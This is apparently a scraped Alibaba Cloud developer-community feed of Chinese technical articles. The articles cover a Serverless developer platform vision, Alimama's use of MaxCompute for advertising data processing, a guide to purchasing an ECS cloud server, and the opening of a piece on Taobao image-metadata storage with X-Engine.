                  如果你有实际体验过(相信所有的开发同学都清楚),会发现,所有的传统研发平台,实际上只能辅助部署发布的过程,开发调试的过程完全由开发者自行线下解决。

                  在正式回答云原生 Serverless 开发者工作平台是什么之前,我们不妨再来看一下开发生态的一些现状。为了更了解开发者生态现状,我和 @神秀曾经一起去拜访过行业专家熊节,一起交流了云时代开发者的痛点和机会,我将其中与云厂商相关的内容进行了抽象,得到以下结论。

                  • 无论是小型研发团队还是大型研发团队,都渴求获得低成本高质量的架构服务
                  • 关注客户研发团队成长线,如果不能陪伴客户成长的过程,想在客户长大后再切入,未来我们不会有机会,可能只是多云的备份
                  • 关注开发者流动线,每个开发者背后熟悉的技术栈是相对固定的,如果我们不能守住开发者不变的技术栈,未来我们不会有机会,可能只是多云的备份

                  云原生 Serverless 开发者工作平台要做的是真正把开发调试和部署发布两个环节完整地串联起来,为云时代的原住民开发者提供一个一站式的开发工作环境。

                  Q:怎么去实现呢?

                  我们从技术栈及应用架构开始思考,这背后其实都与一个个应用开发场景是密切相关的。比如,开发者小明是一个云时代的原住民,他的工作主要从事做 web 应用开发,小明的技术栈可能是:NodeJS + ReactJS + Webpack + NPM + Git,他熟悉的应用架构可能是:数据库服务 + 消息服务 + 缓存服务 + 存储服务 + 函数计算服务 + CDN 服务。

                  可以看到,在云时代,应用架构基本上能通过云产品服务的组合去表达,这无疑正是我们要深入进去建立强连接影响开发者的。技术栈又该如何去做呢?它们由编程语言、编程框架、版本控制、构建编译等工具构成,我们怎么去强化云产品跟它们的连接呢?

                  这就是为什么我们要把开发调试和部署发布两个环节完整串联起来的原因。技术栈主要体现在开发调试环节,如果我们能为开发者提供一个在线的开发环境,把一些主流开发场景背后的技术栈、依赖环境、依赖服务全部都集成在一起,让开发者在工作的时候能够直接进入到业务逻辑开发的过程;同时整合能触达到开发者业务终端客户的分发渠道,让开发者完成代码开发调试之后,能够快速将代码变成在线服务。

                  我们通过这种平台的整合,为开发者提供低成本、高质量的架构服务,帮助开发者解决两个核心痛点:

                  1. 从加入业务到写下业务第一行代码的时效
                  2. 从完成编码到服务客户的时效

                  同时,完成了阿里云产品服务与开发者技术栈以及开发者业务应用架构之间的强连接,从而实现,客户的成长过程、开发者的流动过程,我们的云产品服务始终能获得最好的机会。

                  Q:开发调试和部署发布两个环节具体如何串联起来呢?

                  从 2019 年全球开发者人群调查报告中,我们关注到了这几个数据:

                  1. 截止到 2018 Q4,全球活跃开发者数量达到 18,900,000
                  2. 预计到 2030 S2,全球开发者数量将增长到 45,000,000
                  3. 按照应用开发领域开发者规模分布数据来看,排名 Top 6 的是:Web Apps,Backend Service,Mobile Apps,Desktop Apps,ML/AI/Data Science,IoT。

                  从这组数据中我们既看到了开发者规模增长的趋势,也找到了串联开发者业务架构与技术栈的线索,我们知道了该布局哪些应用开发场景。

                  Web Apps,Backend Service,Mobile Apps,Desktop Apps,ML/AI/Data Science,IoT,这 6 个应用开发场景中,除了 Desktop Apps 外,其他几个应用开发场景,在整个阿里经济体范围内去看,每一个我们都有,背后的研发体系都很成熟,甚至是行业标杆!这是一个很好的机会,如果我们能将经济体内堪称行业标杆的应用开发场景研发体系与阿里云服务进行深度集成,重点去建设云原生 Serverless 开发的心智,一定会创造出一个云时代的原生开发环境,一个云时代开发者每天工作的平台!

                  在这个不断迭代的思考过程中,我跟许多同事、同行进行了交流,得到过很多启发与帮助,大家都有一个共同的想法,这是未来,但这很难!

                  是的,这真的不是一件容易的事情,但是我相信,只要你也相信云是未来,相信云计算终将实现真正的普惠,你一定会有跟我一样的想法,想去实现它!可以通过微信(fengchi_dh)随时与我交流,期待听到你的想法!

                  ]]>
                  MaxCompute在阿里妈妈数据字化营销解决方案上的典型应用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:梁时木 ( 载思 ) 阿里集团 阿里妈妈事业群 技术专家
                  摘要: 大数据计算服务(MaxCompute)是一种快速、完全托管的 GB/TB/PB 级数据仓库解决方案,目前已在阿里巴巴内部得到大规模应用。来自阿里妈妈基础平台大规模数据处理技术专家向大家分享了MaxCompute在阿里妈妈数据字化营销解决方案上的典型应用经验。首先介绍了广告数据流,分析了MaxCompute 是如何解决广告的问题;然后通过阿里妈妈内部的应用经典场景来介绍其如何使用MaxCompute;最后介绍了MaxCompute提供的高级配套能力以及在计算和存储方面的优化。

                  演讲嘉宾简介:

                  梁时木(载思),阿里妈妈基础平台大规模数据处理技术专家。

                  以下内容根据演讲嘉宾视频分享以及PPT整理而成。

                  image.png

                  本次的分享主要分为两部分:

                  一、 题外话:该部分主要介绍在听完之前的分享后,嘉宾的几点个人感受 。

                  二、广告数据流介绍: 该部分主要是对没有中间商赚差价的广告数据流的基本介绍以及为什么MaxCompute能解决广告的问题。

                  三、典型应用场景:该部分主要通过阿里妈妈内部的应用经典场景来介绍其如何使用MaxCompute,包括数据分层体系、报表和BI、搜索引擎索引构建和算法实验。

                  四、高级功能和优化:该部分主要就阿里妈妈在五六年的MaxCompute内部使用和管理过程中的相关高级功能和优化进行公开分享,包括MaxCompute提供的高级配套能力以及在计算和存储方面的优化。

                  一、题外话

                  开始之前先聊一点题外话,是我在听完刚才的分享之后的几点感受。其实我从2013年就开始在内部项目中使用MaxCompute,阿里妈妈作为第一批登月用户,踩了很多坑。听了刚才的分享,我的第一感受是,MaxCompute有好多功能我们都没有关注过,作为一个资深用户,很多功能都不知道听起来好像有点不太合格,但转念一想这可能是MaxCompute作为一个平台、一个生态解决方案应该具备的一种能力。就是说它让一个终端用户只需要看到你所关注的东西,有一些你不太关注的,而对于整个生态链上又必须有的东西它可能潜移默化的帮你做了,在我看来这其实是一种很强的能力。在听完分享后的另一个感受就是我还是蛮庆幸在阿里这边做这些事情的,一些中小公司在基础设施服务这块很需要一些第三方平台的支持,因为你会发现它们如果从头搭建的话,成本会特别高,而MaxCompute、阿里包括钉钉这样的产品,撇开商业化这个因素,它们更多的其实是帮助我们推动互联网技术的进步,帮助我们做一些基础上的事情,从而让我们有更多的精力去关注与自己业务相关的事情。

                  二、广告数据流

                  聊完题外话,下面正式开始我的分享。首先向大家介绍一下广告数据流。下图是广告数据流的一个简化版本,因为我们今天的主题是大数据相关的计算,所以我们站在整个数据流的角度简化介绍传统广告,如搜索广告和定向广告。在图中可以很清楚的看到,从角色上来说,比较受关注的是广告主和网民两个角色。

                  image.png

                  广告主后台

                  一般来讲,广告主首先会在广告主后台进行相关的广告设置,举个最简单的例子,一个广告主要做一次广告投放,首先需要设置一些基本信息,如将广告投给“来自北京”的“男性”,或者当用户搜索“连衣裙”的时候将广告投给他(她)。

                  投放引擎

                  广告主做完设置之后,会用到最重要的一个服务,即投放引擎。它的作用是当广大网民在百度或淘宝键入搜索信息后想其投放相关的广告。比如淘宝搜索“连衣裙”,结果页里面显示的一部分是自然搜索结果,还有一部分是带有“广告”图标的结果,这些结果就是通过投放引擎投放给广大网民的。

                  与网民最相关的两个行为是广告曝光和广告点击。当网民在使用某个平台进行搜索的时候,比如淘宝,投放引擎里面会用到两个很关键的模块来决定将什么广告投放给网民,即索引和算法:

                  · 索引构建。当用户键入某个搜索关键词后,如淘宝搜索“连衣裙”,会有上万条商品满足该关键词,不可能将所有的商品都投放给用户。 这个时候的解决方案是首先从广告库中查询有多少广告买了该商品,这个数据需要广告主在后台设置,即哪些广告可以投放给该关键词。

                  · 算法模型。假如有一万个广告候选集,相关的评分服务会根据一系列的特征和后台训练出来的模型对所有的广告进行打分排序,最终按照一定的规则展现给用户。

                  反作弊

                  上面介绍的是网民看到广告的过程,相应的在系统后台会产生一些日志,最典型的是广告的曝光和点击日志,会用到反作弊的模块。因为很多时候网民的行为不一定人操作的,有些是通过API或工具等恶意的手段进行竞争,反作弊模块的作用就是对这些行为进行判断并给出相应惩罚决策,如扣费。

                  基础数据

                  经过反作弊模块的数据我们认为是可信赖的,会将其存储在基础数据平台中,此处的基础数据平台是一个抽象的概念,最终其实就是MaxCompute。

                  报表/BI

                  有了数据之后,最常见的两个应用场景是做报表/BI分析和模型训练。

                  · 报表/BI分析。主要有两种情况,一种情况是广告主在设置了广告投放之后,想要了解广告的投放效果,此时会有相应的统计数据到广告主后台;另一种情况下BI运营的人员也会对这些数据进行分析,如某些广告位的表现情况。

                  · 模型训练。前面已经提到,投放引擎第一步只能拿到一个很大的广告候选集,如何筛选用户预估分最高的广告并投放给用户是模型训练这个模块要做的事情。该模块需要用已经存储的原始基础数据去跑各种各样的模型,从最传统的逻辑回归到现在的深度学习,跑完的数据再推送到投放引擎,这个时候就可以实现广告的在线评分功能。

                  以上是广告的简要数据流的介绍,接下来分享为什么我们这么久以来一直坚持用MaxCompute。总结一下主要有三点,即数据友好、生态完善持续改进和性能强悍。

                  image.png

                  1) 用户友好。从刚才的数据流介绍中,或多或少能看到一点,我们的应用场景有很多,比如反作弊的场景,再比如报表和BI分析的场景,针对此MaxCompute提供各种各样的计算能力和丰富易用的编程接口。最传统的是SQL的表达支持,如果SQL表达的语义不满足要求,加UDF仍然解决不了问题,MaxCompute还支持用户自己写一个MapReduce,提供原始数据用户可以自己去加工;还支持用户做一些图计算像Deep Learning;另外MaxCompute本身也是支持Batch和Streaming两种功能,包括之前提到的Spark Streaming;还有一点也是我比较喜欢的,在Hadoop生态圈中,大家其实更多的看到的是HDFS文件路径,那在MaxCompute中,我们更多的看到的是一堆一堆的表,表对用户来讲有Schema,比空洞的文件更容易理解一点,针对这些表MaxCompute提供API层面的操作支持,另外也提供相应的Function,包括UDF、UDTF类型的支持;同时MaxCompute还提供半结构化类型的支持,如Volume,支持用户操作相关的Resource。上述介绍的功能为用户的开发提供了便利。

                  2) 生态完善持续改进。MaxCompute是一个平台,一个生态系统。在体验过MaxCompute整套系统之后,我们发现其可以应用到我们开发、运维管理的整个过程中。从最开始数据产出之后,如果要加载到MaxCompute平台中,可以通过“同步工具”来完成;数据同步之后,如果想要做数据处理,可以通过“DataWorks” 跑一些的简单的模型来做数据分析和处理;复杂的数据处理可以通过“算法实验平台” 来完成,目前支持TensorFlow上的一些功能;数据处理完后,传统的做法是只看数据是否正确,但这对于系统管理人员来讲是远远不够的,还需要看结果好不好,是否有优化的空间,以保证投入产出比,比如传统的离线任务,分配资源的方式是基于plan的模式,用户需要预先预估一个instance需要多少CPU和Memory,但是会存在两个明显问题,一个是依靠经验的估计是不准确的,另一个是现在的数据量是在不停变化的,无法很好地估计。针对这个需求,“数据治理”会给用户相应的反馈。

                  3) 性能强悍。阿里妈妈作为业界数字化营销的厂商来说,数据量非常大。目前使用MaxCompute已经可以完成EB级别的数据存储;在具体的场景中,可以完成千亿级样本百亿级特征的训练实验;跑一个MapReduce或SQL的Job,MaxCompute可以实现十万级实例的并发调度,后台远远超过十万实例的并发度;阿里妈妈一个BU,目前一天之内跑在MaxCompute的Job数已经达到十万级别;最后是我们的报表数据,这其实也是最常见的一个场景,目前我们在MaxCompute的报表数据已经到千亿级别。

                  三、几个典型的应用场景

                  介绍完为什么使用MaxCompute之后,再给大家分享一下阿里妈妈的几个典型的应用场景中是如何使用MaxCompute的。

                  数据分层

                  image.png

                  前面介绍了广告数据流,我们针对MaxCompute也对数据进行了划分(如上图所示),主要划分为六层 。

                  1) 第一层是原始数据层,原始数据的来源一般有两个,一个是我们的业务数据库,比图MySQL或Hbase,另一个是我们的业务访问日志,如刚才提到的广告的曝光和点击日志,这些数据是放在我们的服务器上面的。

                  2) 第二层是ODS层,即通过同步工具同步到MaxCompute平台的数据,与原始数据同Schema。原始数据要做离线处理的时候(包括Streaming处理),我们内部使用同步中心平台进行全量和增量同步,同时也会使用TimeTunnel进行整个服务器日志的采集。最终同步到MaxCompute平台的数据与原始数据是同Schema的,但是它能以天级、小时级、分钟级实时或准实时的将数据同步到离线平台里面。

                  3) 第三层是PDW/DWD。有了同步的数据后,大家知道,数据的格式是千奇百怪的,以日志为例,我们线上回流的日志是遵循一定的协议的,想要把数据真正用起来还需要经过一系列的操作。第一步会进行数据清洗,包括上面提到的反作弊也是一种清洗的方式;然后会对数据进行简单的拆解,将其拆解成可以理解的字段。

                  4) 第四层是中间层MID/DWB。数据量过大的情况之下,比如阿里妈妈一天产出的业务数据高达几十亿,这个数据量根本无法实现直接处理分析,所以我们的做法是使用中间层,对DWD数据进行上卷、字段筛选和Join,后续业务的应用基本上是基于中间层来做的。

                  5) 第五层是各种应用场景生成的数据层APP/ADS/DWS。具体的场景包括离线报表和BI、全量索引构建、模型训练,后面会从这三个方面的的场景来具体介绍以下如何使用MaxCompute。

                  6) 最后是在线服务和在线数据存储层。

                  报表和BI

                  image.png

                  首先介绍一下报表和BI是怎么使用MaxCompute的。对于一般的用户来说,我们只需要了解两部分内容,包含什么Table,用SQL怎么处理它们。报表和BI具备以下两个特点:

                  1) 二维表和图表为主。对于广告主来讲,信息的呈现主要通过二维表来完成,通过过滤排序就能看到想要了解的结果;而对于运营人员来讲,除了二维表之外,可能还需要一些图表的具体分析。我们会提供这样一种能力,这种能力就是,比如想要给广告主来看的话,提供数据导出功能,将数据直接导到线上,供广告主在后台直接查看效果;其次在部门内部发送支持邮件;再次我们提供类似小站的功能,即个性化门户站点,后面会通过简单的demo进行展示。

                  2) 高度SQL。上述介绍的所有功能都是高度依赖SQL的,大部分情况下是不需要做一些Java开发的,也不需要去写太多的UDF,用户在报表和BI中只需要去写SQL,有些甚至只需要拖拽几下就可以得到想要的结果。

                  下图是报表和BI使用MaxCompute的demo截图。用户输入简单SQL表达之后,通过简单的预处理就能看到想要的数据,这个数据不仅可以在系统中查看,还可以通过邮件的方式发送,或者推送的线上进行展示。

                  image.png

                  索引构建

                  image.png

                  广告主在后台更改投放设置之后,一旦数据量达到百万、千万甚至上亿级别的时候,需要针对在线查询做专有的引擎服务。阿里妈妈广告搜索引擎索引构建使用MaxCompute如上图所示,使用的是Lambda架构,支持离线和在线,可以使用Batch和Streaming处理和消费。使用该架构的背景是当时阿里妈妈在做索引更新的时候,每天伴随着各种各样的实验来查看效果,常常会加很多字段,而且这种情况下并行的需求很高,所以我们对系统的要求是必须支持高频的快速迭代,当时我们定的目标是加一个字段要在半天或者一天之内搞定,并将结果推上线,同时要支持多人同时做这个事情,为了实现该需求,我们当时也做了一些类似于组件化的工作。

                  对于整个索引构建服务,由于时间关系在此只展示业务层,业务处理过程中需要面对各种异构数据源,图左侧数据源层(Data Source Layer),如业务数据(来自MySQL)、算法数据和其他外部数据,最终将其沉淀到业务层(Business Layer)引擎的索引中,使其支持各种各样的查询。数据从数据源层到业务层需要经过离线数据中心层(Offline DataCenter Layer),分为上下两部分,上半部分是批量层(Batch Layer),下半部分是Streaming层(Streaming Layer)。数据源的接入方式有两种,一种是全量的方式,意思是将MaxCompute上面的一张表直接拖拽过来,然后跑一个离线的索引;但是还有一种情况,比如说广告主做了一次改价,这种更改需要快速地反映到索引中,否则索引中一直存放的是旧信息,将会造成广告主的投诉,因此除了全量流之外,还提供增量流,以将用户的更改实施反馈到索引中。

                  · 离线部分。我们提供一个类似同步工具的服务,叫做Importer,它是基于MaxCompute来实现的,大部分功能是跑在MaxCompute上的,因为这里面我们进行了组件化,需要进行一系列的类似于数据Combine、Merge的操作,还涉及到源数据的Schema和数据的多版本管理。离线数据存入ODPS中,通过Maxcompute的Batch views来查看。

                  · 在线部分。简单来讲,比如拿到一条MySQL增量,通过解析将其直接流入消息队列中,然后通过相应的平台包括Storm、Spark以及MaxCompute的Streaming等,利用和离线部分类似的组件跑索引。接下来通过Realtime views可以查到最新的数据,目前通过tair来实现。实时部分的数据每隔一定时间进行Merge,就会形成多版本的数据。它的作用有两个,一个是将这些数据直接批量往在线部分去灌,尤其是在线上数据出问题、走增量流程很慢的时候;另一个是在做离线索引构建的时候,为了避免索引膨胀的问题,需要定期做一次离线全量,为了保证数据实时更新,需要有一条增量流在此期间往全量部分注入数据,为了避免因为服务宕机导致的效率低下,我们提供了多个版本增量数据的保存。

                  算法实验

                  image.png

                  接下来介绍一下算法实验使用MaxCompute的场景。不仅仅是算法实验,包括我们每天往线上推我们的性能模型的时候,都是下图这套流程。整个流程的输入是线上日志,比如哪些用户浏览和点击了哪些广告,输出是对用户的浏览和点击分析后抽取的特征进行在线评分。中间大致可以抽象为六个步骤:

                  1) 数据处理。数据处理除了前面提到的清洗和过滤反作弊之外,做的最简单的是将多份数据合并成一份数据,这里面除了用到MapReduce和SQL之外,还用到了ShardJoin,是阿里妈妈和MaxCompute合作,为了应对在离线数据进行Join的过程中,两边数据都特别大时效率低的问题而开发的。原理很简单,就是将右表拆成很多小块,使用独立RPC服务去查。数据处理在整个过程中的时间占比约为20%。

                  2) 特征提取。经过第一步之后输出的结果是一整个不加处理的PV表,包含一系列的属性字段,然后在此基础上进行特征提取,常用的是跑一个MapReduce,最重要的是有JNI的操作,实现特征提取和特征组合,生成唯一的key。比如我想要把UserId和Price联合算出一个新的特征。原始的特征可能只有几百个,但经过交叉、笛卡尔积等操作之后,特征可能会达到几百亿,这个时候前面所提到的MaxCompute支持千亿级别样本、百亿级别的计算能力便得到很好地发挥,这对于调度包括整个计算框架具有极其重要的意义。特征提取在整个过程中的时间占比约为15%。

                  3) 样本生成。一条样本出来后一般需要设置target和正负例,针对每一个特征会生成一个全局id,最后进行序列化。之所以进行序列化是因为每个计算框架对于输入样本会有格式要求,序列化实际上是对输入样本进行相应的格式转换。样本生成在整个过程中的时间占比约为15%。

                  4) 模型训练。模型训练的输入是上一步产生的千亿级别的样本,输出是每一个特征的权重。比如“男性”这个特征的权重,购买力是一颗星对应的特征的权重。模型训练在整个过程中的时间占比是40%左右,这个时间和模型复杂度有关,比如说是运行了简单的逻辑回归或者复杂的深度学习,时间是不同的。

                  5) 模型评估。有了训练后的模型,接下来要进行评估,使用Auc评估训练模型的效果。一般在样本生成的时候会对样本进行分类,分为训练样本和测试样本,使用测试样本对训练好的模型进行评估。模型评估在整个过程中的时间占比是5%。

                  6) 模型应用。模型评估达到一定标准之后就可以将训练好的模型推到线上,这个过程比较复杂,包括数据导出、数据分发、加载、切换生成在线打分服务。模型应用在整个过程中的时间占比是5%。

                  以上介绍的六个步骤和MaxCompute最相关的是数据处理(20%)、特征提取(15%)、样本生成(15%)和模型训练(40%),时间占比百分之九十以上的操作都是在MaxCompute进行的。

                  image.png

                  为了支撑算法实验,我们基于MaxCompute搭建了算法实验框架(如上图所示)。整个模型训练不需要开发太多的代码,一般来讲只需要做两个方面的改动,传统的逻辑回归需要增删改特征,深度学习中需要更改各种网络,整个流程是高度一致的。因此我们将这个过程抽象成为Matrix的解决方案。这套解决方案对外来讲是运行了一个pipeline,串联一系列任务,这些任务最终运行在MaxCompute上面。对外提供Matrix Client,用户大部分情况下只需要进行配置文件的修改,比如设置特征抽取的方式,知道原表的Schema抽第几行第几个字段;抽取的特征怎么做组合,如第一个特征和第二个特征进行叉乘生成新的特征;包括特征选择方式,如低频特征进行过滤。框架将上述功能组件化,用户只需要像拼积木一样将需要的功能拼接起来,每一个积木进行相应的配置,比如输入表是什么。样本输入模型之前,样本的格式是固定的,在此基础上我们实现了调度框架Husky,主要实现pipeline的管理,实现任务的最大化并行执行。其他功能由于时间关系在此不多做介绍。

                  四、高级功能和优化

                  高级配套能力

                  因为阿里妈妈在MaxCompute上曾经的资源使用量占比达到三分之一,从计算到存储。因此我们根据自己的经验,接下来分享一下大家有可能用到的MaxCompute的一些高级功能和优化。

                  image.png

                  MaxCompute提供了我们认为比较重要的四个功能有:

                  1) 实时Dashboard和Logview。Logview前面已经介绍过了,通过它用户可以不用再去扒日志,可以很快速地查看任务情况,查找问题原因,另外还提供各种实时诊断的功能。当集群出现问题的时候实时Dashboard可以从从各个维度帮用户分析当前运行集群的Project或Quta或任务相关信息,其后台依赖于一系列的源数据管理。当然,MaxCompute能提供的功能远不止实时Dashboard和Logview,但是这两个功能在个人、集群管理过程是被高度依赖的。

                  2) 强大的调度策略。主要有三种:

                  · 第一种是交互式抢占。传统的抢占方式比较粗暴,当用户提交一个任务的时候,比如分Quta,无论是Hadoop还是MaxCompute,都会分析是minQuta还是maxQuta,这种情况下一定会涉及到共享与资源抢占的问题。如果不抢占,一个任务会跑很长时间;如果直接将任务停掉,已经运行起来的任务可能需要重新再运行,导致效率低下。交互式抢占比较好地解决了这个问题,其提供了一种协议,这个协议需要和各个框架之间达成,比如说要kill掉某个任务之前,会在一定时间之前发送kill的命令,并给予任务指定的运行时间,如果这个时间结束之后仍然运行不完,则kill掉。

                  · 第二种是全局调度。阿里云的机器已经达到了万级,当某个集群的任务跑的很卡的时候,如果发现其他集群比较空闲,全局调度策略便可以发挥作用,将任务分配到较为空闲的集群上运行,这种调度过程对于用户来讲是透明的,用户只能直观地感受任务的运行速度发生变化。

                  · 第三种是兼顾All-or-nothing和Increment的资源分配方式。简单来讲,比如前者跑了图计算的训练模型,后者跑了SQL,这两种计算的资源分配方式有很大不同。对于SQL来讲,如果需要一千个实例来运行mapper,不用等到一千个实例攒够了再去运行,可以拿到一个实例运行一个mapper,因为这种计算实例之间没有信息交互;但是模型训练是一轮一轮进行迭代的,第一轮迭代运行完之后才能开始运行第二轮迭代,因此注定需要所有的资源准备好了之后才能运行,因此阿里云的调度人员在后台做了很多兼顾这两方面资源分配的工作。

                  3) 数据地图。帮助的用户描述数据、任务之间的关系,方便用户后续业务的处理。

                  4) 数据治理。任务运行结束对于集群或者任务管理人员来讲并没有结束,还需要去看任务跑得好不好,这个时候服务治理就可以提供很多优化建议,比如某个数据跑到最后没有人用,那与其相关的链路是否可以取消,这种治理不管对于内部系统还是外部系统来讲可以节省很多的资源开销。

                  计算优化

                  image.png

                  接下来就上面介绍的数据治理向大家分享一下我们的经验。在数据治理计算优化方面,我们主要的用到了MaxCompute的以下四个功能:

                  1) 无用/相似任务分析。这个很容易理解,它可以帮助用户分析出哪些任务是没有用的,哪些任务是相似的,这需要依托于数据地图的强大关系梳理能力分析出任务的有效性。

                  2) HBO (History-based optimization) + CBO (Cost-based optimization)。它其实解决的是优化的问题,在跑计算任务的时候,不管使用的是SQL还是MapReduce,一定会预先设定CPU和Memory的值,但是预先设定往往是不准确的。解决的方式有两种,一种是先将任务运行一段时间,根据运行情况计算每个实例大概需要的CPU和Memory,这种方式就是History-based optimization;而第二种方式是Cost-based optimization,解决的是基于成本的优化,时间关系在此不多做介绍,后期如果大家感兴趣的话,会组织相关的高阶分享。

                  3) 列裁剪。它解决的问题是不用讲整个表中的所有字段都列出来,比如Select *,根据SQL语义,它可以实现十个字段只需要加载前五个字段。这对于整个任务的执行效率包括整个磁盘的IO有很大益处。

                  4) Service Mode。传统运行MapReduce的时候,会有shuffle的过程,这个过程会涉及到数据在Mapper和Reducer端的落盘,这个落盘操作是很耗时间的,对于一些中小型任务来讲(可能只需要两三分钟就运行完),是不需要落盘操作的。MaxCompute会预判任务的执行时间,短小任务通过Service Mode的方式来降低任务的运行时间。

                  存储优化

                  MaxCompute除了计算优化,还有存储方面的优化。存储优化主要体现在以下一个方面:

                  1) 无用数据分析和下线。这个前面也已经反复介绍过了,可以帮助用户分析无用的数据并下线,和无用Job分析是类似的原理。这里的难点是“最后一公里”,即数据从离线平台产出之后导到线上,最后这一公里的元素是很难去追踪的,这依赖于工具和平台高度的标准化,阿里内部的好处是这一块已经做到了标准化。随着后续阿里云暴露的服务越来越多,这个难点将有希望被攻克,能够帮用户分析出来哪些数据是真的没有人用。

                  2) 生命周期的优化。一份表到底要保存多少时间一开始是依靠人去估计和设置的,比如一年,但根据实际的访问情况你会发现,保存一天或者三天就可以。这个时候依托于MaxCompute的数据治理,会帮助用户分析出某张表适合的保存时间,这对于存储的优化具有极其重要的意义。

                  3) Archive。数据是有冷热之分的,尤其是分布式文件存储的时候,都是通过双备份的方式来存储数据,当然双备份尤其意义在,比如可以让你的数据更加可靠、不会丢失,但这样带来了一个问题是数据的存储将会变得大。MaxCompute提供了冷数据策略,不做双备份,通过一定的策略将数据变成1.5备份,用1.5倍的空间达到双备份的效果。

                  4) Hash Clustering。这个属于存储和计算优化中和的事情。每次在做MapReduce的时候,中间可能需要做Join操作, 每次Join操作的时候可能会对某个表做Sort操作,但是Sort操作没必要每次都去做,这样就可以针对Sort操作提前做一些存储上的优化。

                  下图展示了的阿里妈妈预估的ODPS存储消耗趋势,可以很明显的看到预期消耗随着时间推移几乎呈直线增长,但中间使用MaxCompute做了几次优化之后,明显感觉存储消耗增长趋势减缓。

                  image.png

                  介绍这么多优化的功能,最终目的是希望大家对MaxCompute有更多的了解和期待,大家如果有更多的需求可以向MaxCompute平台提出。

                  ]]>
                  开通云服务器-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本章内容出自《7天学会ECS》电子书,点击下载完整版

                  开通云服务器

                  进入 https://ecs-buy.aliyun.com/#/prepay 就可以选择购买 ECS 产品了,根据产品购买页面我们一步一步来讲。
                  一、计费方式:

                  image.png

                  包年包月可以理解为是预付费产品,我们得先购买一个月或者几个月几年的ECS产品才能使用ECS,适合于长期稳定使用服务器的场景,比如说做网站。而按量付费可以理解为是后付费产品,我们需要保证有 100元的余额才可以使用按量付费,按量付费就是用几个小时就扣几小时的钱,适合于测试或者跑数据的场景。

                  二、地域

                  image.png

                  地域(Region)和可用区(Zone)是两个概念:

                  • 地域就是服务器的数据中心所放在的城市,例如华东1是在杭州,华东2是在上海,不同地域的ECS不可内网互联。
                  • 可用区是同一地域下的不同数据中心,在同一个地域距离较近,可以通过光纤连接,内网可以互联。

                  一般来说,地域的选择,就是看您的业务中,哪个地域访客最多、转化率最高,而不是离管理者最近。例如我的博客访客主要来自广东省,那么【华南1-深圳】自然是我首选的;例如我是阿里速卖通上的外贸企业,客户主要分布在拉美国家,我的官方就不可能建设在【华东1】,而是应该选择【美国东部1(弗吉尼亚)】。

                  三、网络

                  image.png

                  网络分经典网络和专有网络:

                  • 经典网络是阿里云最早期的网络方式,同一地域内的所有ECS、OSS、RDS都可以互联,然后通过安全组来实现访问的控制。
                  • 专有网络则是用户自有一个虚拟路由网络和交换机,只有同一网络、交换机下的ECS、RDS等产品才能互联,专有网络还可以绑定弹性IP,就算换ECS了,IP依旧可以保持不变。

                  尽量以选择专有网络为先。

                  四、实例系列
                  实例就是云服务器的规格,包括CPU、内存等。可以点击【选择其他实例规格】来查看所有可选的实例。

                  image.png

                  可根据需要来选择合适的规格,这里可以选择【入门级(共享)】实例。

                  image.png

                  五、公网带宽

                  image.png

                  公网带宽则分按使用流量和按固定带宽计费:

                  • 按流量计费顾名思义就是用多少流量扣多少钱,不同地域的每G流量资费不一样。
                  • 按带宽计费就是先买断多少M的带宽,后面无关用多少流量都不计费。

                  一般来说正常建站最好有至少2M的带宽,并配合OSS来放置资源会比较好。

                  六、镜像

                  image.png

                  • 公共镜像:是由阿里云官方提供公共基础镜像,仅包括初始系统环境。请根据您的实际情况自助配置应用环境或相关软件配置。
                  • 自定义镜像:基于用户系统快照生成,包括初始系统环境、应用环境和相关软件配置。选择自定义镜像创建云服务器,节省您的重复配置时间。
                  • 共享镜像:是其他账号的自定义镜像主动共享给您使用的镜像。阿里云不保证其他账号共享给您的镜像的完整性和安全性,使用共享镜像需要自行承担风险。
                  • 镜像市场:提供经严格审核的优质镜像,预装操作系统、应用环境和各类软件,无需配置,可一键部署云服务器。满足建站/应用开发/可视化管理等个性化需求。

                  七、存储

                  image.png

                  • 存储主要分系统盘和数据盘,系统盘就是整个操作系统所安装的虚拟硬盘,而数据盘则是提供挂载到某一盘符或者目录下。
                  • 数据盘的安全可靠性更高,推荐将网站数据存放于数据盘所挂载的目录或盘符下。
                  • 而普通云盘则是阿里云最早提供的云盘,在三盘副本和高可靠性下性能孱弱,只存在于无I/O优化的实例。高效云盘则是在三盘副本和高可靠性下提供 1240~3000 IOPS的磁盘性能,在60G以下性价比凸显。SSD云盘则是买的越大性能越好,最大提供20000 IOPS 的性能,磁盘大于60G的情况下有购买价值,性能明显。

                  八、其他

                  image.png

                  购买量,就是购买多长时间,以及多少台相同配置的ECS。

                  九、安全设置

                  image.png

                  • 设置密钥,就是通过密钥文件登入 Linux 系统,而非通过密码,必须拥有密钥文件才可以登入系统。
                  • 自定义密码,就是通过密码登入Linux系统或者Windows 系统,推荐新手使用该方式。
                  • 创建后设置,就是生成实例了再通过重置密码的方式修改密码,不推荐!
                  ]]>
                  天猫淘宝海量图片元信息存储在哪?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.图片空间数据库存储成本暴涨

                  图片空间是淘宝智能图片中心面向商家提供的免费图片存储管理服务,由于淘宝、天猫主站上累积的用户图片数据量非常大(想想淘宝/天猫的商家和消费者每天要上传多少图片!),并且增长量惊人,图片空间业务面临着非常巨大的存储空间和写入性能压力。尤其每年双11之前,商家大量更新商品库存保有单位SKU(Stock keeping Unit),此时数据会急剧增长。
                  image.png

                  淘宝/天猫每日新增大量商品、评论图片
                  某年双十一前夕,当时阿里大部分数据库系统还使用的是InnoDB存储引擎,图片空间的研发同学梳理双十一线上风险时,咨询到DB磁盘及水位的容量是否足够,我们曾信誓旦旦地说:“没有问题,四个月前我们刚扩了一倍机器”。可是没过多久就被现实打脸了:不到5个月的时间,业务数据累积了过去6-7年的量,每日增量急剧上升,扩容的磁盘很快也将不够了。

                  2.解决方案,扩容还是换引擎?

                  为什么选择新引擎

                  最简单粗暴的方法当然是扩容,这样做风险最小,但却只能解决眼前的问题。以现在数据的膨胀速度,未来难免多次扩容。仅仅因为空间不足的问题,导致成本翻好几倍,这是难以接受的
                  另外一个方法是换引擎,当时阿里主打高性能低成本的自研存储引擎X-Engine刚刚成熟,相较于基于B+-Tree的存储引擎(例如InnoDB)数据页存在较多空间浪费,基于LSM-Tree的X-Engine数据完全紧凑排列,空间利用率更高。而紧凑排列的数据施以前缀压缩技术,空间使用进一步减少。
                  image.png

